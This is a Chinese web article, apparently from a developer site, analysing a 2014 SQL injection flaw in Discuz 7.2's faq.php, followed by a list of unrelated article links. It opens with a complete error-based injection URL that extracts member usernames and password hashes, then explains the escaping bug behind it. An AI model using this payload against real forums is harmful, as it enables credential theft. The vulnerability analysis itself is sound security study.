Discuz7.2版的faq.php SQL注入漏洞分析


Posted in PHP onAugust 06, 2014

注入代码实例:

https://3water.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

($action == 'grouppermission') {
...

        ksort($gids);

        $groupids = array();

        foreach($gids as $row) {

                $groupids[] = $row[0];

        }
        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

...

}

function implodeids($array) {

        if(!empty($array)) {

                return "'".implode("','", is_array($array) ? $array : array($array))."'";

        } else {

                return '';

        }

}

首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。

为什么这个操作就造成了注入?

discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。

再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数

很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。

但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:
'1','\','3','4'
有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。

PHP 相关文章推荐
php连接mysql数据库代码
Mar 10 PHP
php地址引用(php地址引用的效率问题)
Mar 23 PHP
浅谈php正则表达式中的非贪婪模式匹配的使用
Nov 25 PHP
php里array_work用法实例分析
Jul 13 PHP
PHP去掉json字符串中的反斜杠\及去掉双引号前的反斜杠
Sep 30 PHP
php cli配置文件问题分析
Oct 15 PHP
Symfony2函数用法实例分析
Mar 18 PHP
php根据数据id自动生成编号的实现方法
Oct 16 PHP
php中static 静态变量和普通变量的区别
Dec 01 PHP
ThinkPHP实现简单登陆功能
Apr 28 PHP
浅谈PHP中的面向对象OOP中的魔术方法
Jun 12 PHP
在云虚拟主机部署thinkphp5项目的步骤详解
Dec 21 PHP
PHP中的reflection反射机制测试例子
Aug 05 #PHP
PHP的反射类ReflectionClass、ReflectionMethod使用实例
Aug 05 #PHP
实例介绍PHP的Reflection反射机制
Aug 05 #PHP
PHP中读取文件的8种方法和代码实例
Aug 05 #PHP
PHP中Fatal error session_start()错误解决步骤
Aug 05 #PHP
PHP学习笔记(二) 了解PHP的基本语法以及目录结构
Aug 04 #PHP
PHP学习笔记(一) 简单了解PHP
Aug 04 #PHP
You might like
php park、unpark、ord 函数使用方法(二进制流接口应用实例)
2010/10/19 PHP
php模拟服务器实现autoindex效果的方法
2015/03/10 PHP
PHP钩子实现方法解析
2019/05/21 PHP
Laravel 5.5 实现禁用用户注册示例
2019/10/24 PHP
在jQuery 1.5中使用deferred对象的代码(翻译)
2011/03/10 Javascript
jQuery使用技巧简单汇总
2013/04/18 Javascript
转义字符(\)对JavaScript中JSON.parse的影响概述
2013/07/17 Javascript
jquery text(),val(),html()方法区别总结
2013/11/04 Javascript
点击button获取text内容并改变样式的js实现
2014/09/09 Javascript
javascript实现iframe框架延时加载的方法
2014/10/30 Javascript
jQuery操作表单常用控件方法小结
2015/03/23 Javascript
JQuery插件ajaxfileupload.js异步上传文件实例
2015/05/19 Javascript
IE7浏览器窗口大小改变事件执行多次bug及IE6/IE7/IE8下resize问题
2015/08/21 Javascript
浅谈Javascript中的Label语句
2016/12/14 Javascript
xmlplus组件设计系列之按钮(2)
2017/04/26 Javascript
Angularjs中的验证input输入框只能输入数字和小数点的写法(推荐)
2017/08/16 Javascript
Vue进度条progressbar组件功能
2018/04/17 Javascript
Node.js从字符串生成文件流的实现方法
2019/08/18 Javascript
vue中echarts图表大小适应窗口大小且不需要刷新案例
2020/07/19 Javascript
[原创]Python入门教程5. 字典基本操作【定义、运算、常用函数】
2018/11/01 Python
python+opencv打开摄像头,保存视频、拍照功能的实现方法
2019/01/08 Python
python实现把两个二维array叠加成三维array示例
2019/11/29 Python
python 制作简单的音乐播放器
2020/11/25 Python
CSS3实现时间轴效果
2016/07/11 HTML / CSS
前端实现弹幕效果的方法总结(包含css3和canvas的实现方式)
2018/07/12 HTML / CSS
美国在线购买空气净化器、除湿器、加湿器网站:AllergyBuyersClub
2021/03/16 全球购物
应届大专毕业生个人自荐信
2013/09/22 职场文书
浙大毕业生自荐信
2014/01/26 职场文书
中英文求职信范文
2014/01/27 职场文书
国培远程培训感言
2014/03/08 职场文书
参赛口号
2014/06/16 职场文书
新闻人物通讯稿
2014/10/09 职场文书
2014年优秀党员材料
2014/12/18 职场文书
2019年图书室自查报告范本
2019/10/12 职场文书
golang gopm get -g -v 无法获取第三方库的解决方案
2021/05/05 Golang
nodejs利用readline提示输入内容实例代码
2021/07/15 NodeJs